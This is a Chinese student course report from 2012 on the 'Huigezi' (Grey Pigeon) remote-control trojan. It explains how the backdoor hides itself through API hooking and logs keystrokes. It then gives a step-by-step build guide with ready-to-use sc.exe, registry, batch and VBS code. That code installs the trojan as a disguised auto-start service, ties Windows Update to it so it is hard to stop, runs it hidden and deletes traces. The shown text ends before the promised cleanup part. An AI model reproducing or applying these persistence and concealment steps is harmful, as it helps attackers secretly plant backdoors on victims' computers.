关于灰鸽子的原理以及制作和清理

“灰鸽子”攻击原理以及制作和清理

院别计算机科学与通信工程学院专业计算机科学与技术

班级学号4090511

姓名唐盼

指导教师曲荣欣

成绩

2012年 6 月7 日

“灰鸽子”攻击原理以及制作和清理

一.灰鸽子简介:

“灰鸽子”是一种远程控制软件. 最早出现的时候是在模仿前辈“冰河”。“灰鸽子”在2001年出现的，采用Delphi编写，最早并未以成品方式发布，更多的是以技术研究的姿态，采用了源码共享的方式出现在互联网，导致”灰鸽子”迅速发展起来.并且出现了多种不同的版本. “灰鸽子”在出现的时候使用了当时讨论最多的“反弹端口”连接方式，用以躲避大多数个人网络防火墙的拦截。由于服务端都以隐藏方式启动，就奠定了其恶意后门木马的地位.

而我个人就是高中时候,在”灰鸽子”最盛行和风靡的时候,开始认识”灰鸽子”和关注网络安全这个话题.这也是我最早认识和接触到一种黑客软件.在伴随着”灰鸽子”的盛行发展的同时,自己的对网络互联网安全问题的兴趣也随着同步提高.在有关黑客攻击和防范领域过程中享受这种成就感.但是对于”灰鸽子”的了解大多都是来自于<<电脑报>>,<<电脑爱好者>>这些杂志.没有深入了学习.但是”灰鸽子”这个概念却深入脑海.一直伴随我成长到如今.如今虽然”灰鸽子”已经不再流行,但是这个在我心底有着深刻影响的软件,已然成了一个黑客软件的代名词.

二,灰鸽子基本原理:

“灰鸽子”客户端和服务端都是采用Delphi编写。黑客利用客户端程序配置出服务端程序。可配置的信息主要包括上线类型（如等待连接还是主动连接）、主动连接时使用的公网IP（域名）、连接密码、使用的端口、启动项名称、服务名称，进程隐藏方式，使用的壳，代理，图标等等。

客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时，灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事，灰鸽子就成了很强大的黑客工具。

服务端配置出来的服务端文件文件名为G_Server.exe（这是默认的，当然也可以改变）。然后黑客利用一切办法诱骗用户运行G_Server.exe程序。

G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录，2k/NT下为系统盘的Winnt目录,不支持win7系统.在win7做实验没有成功.生成的服务端不能在win7环境下运行).然后再从体内释放G_Server.dll和G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端， G_Server_Hook.dll负责隐藏灰鸽子。通过截获进程的API调用隐藏灰鸽子的文件、服务的注册表项，甚至是进程中的模块名。截获的函数主要是用来遍历文件、遍历注册表项和遍历进程模块的一些函数。所以，有些时候用户感觉中了毒，但仔细检查却又发现不了什么异常。有些灰鸽子会多释放出一个名为G_ServerKey.dll的文件用来记录键盘操作。注意，

G_Server.exe这个名称并不固定，它是可以定制的，比如当定制服务端文件名为A.exe时，生成的文件就是A.exe、A.dll和A_Hook.dll。Windows目录下的G_Server.exe文件将自己注册成服务（9X系统写注册表启动项），每次开机都能自动运行，运行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll文件实现后门功能，与控制端客户端进行通信；G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此，中毒后，我们看不到病毒文件，也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同，G_Server_Hook.dll有时候附在Explorer.exe的进程空间中，有时候则是附在所有进程中。

三;灰鸽子制作实例步骤:

准备工具：

灰鸽子服务端; IcoSprite图标更改器；SC.exe服务添加删除更改工具；winrar压缩软件用于捆绑生成的程序.

制作过程：

1. 首先自己配置一下鸽子服务端，配置时[启动项设置]这里面的都不要填，不要写入注册表，也不要用服务启动。

2.用SC创建一个服务

运行CMD.EXE 在system32的目录下运行执行

SC.exe create huigezi BinPath= "%systemroot%\system32\gezi.exe" type=own type= interact start= auto DisplayName= "gezi".这句是用SC建立一个服务，服务名为huigezi，路径Binpath为

"%systemroot%\system32\gezi.exe"，类型type为 own 与interact交互，启动类型start为自动，显示名DisplayName为"gezi"。

sc.exe descript_ion huigezi "不死鸽子"这句是将huigezi服务的描改为“不死鸽子” sc config wuauserv depend= huigezi配置huigezi使

wuauserv服务依存此服务（wuauserv可以根据自己喜欢改成其它服务，

这里的wuauserv是系统在Windows Update网站的自动更新服务）。

这里的目的是迷惑别人，使其不敢轻易停止我们生成的服务。

3.将这些从注册表导出，我们将他命名为1.reg

4.创建一个BAT文件,并命名为update.bat

@regedit /s %systemroot%\system32\1.reg

@%systemroot%\system32\gezi.exe

@del /q /f /s %systemroot%\system32\1.reg

@del /q /f /s %systemroot%\system32\Update.vbs

@del /q /f /s %systemroot%\system32\Update.bat

5.创建一个vbs并命名为update.vbs

目的是为了作用是令bat里的内容以安静模式执行，这样就可以让cmd 窗口跳出来了，增加了不少隐蔽性.代码如下：

On Error Resume Next

set wshshell=createobject ("wscript_.shell")

a=wshshell.run ("cmd.exe /C %systemroot%\system32\Update.bat", 0, TRUE)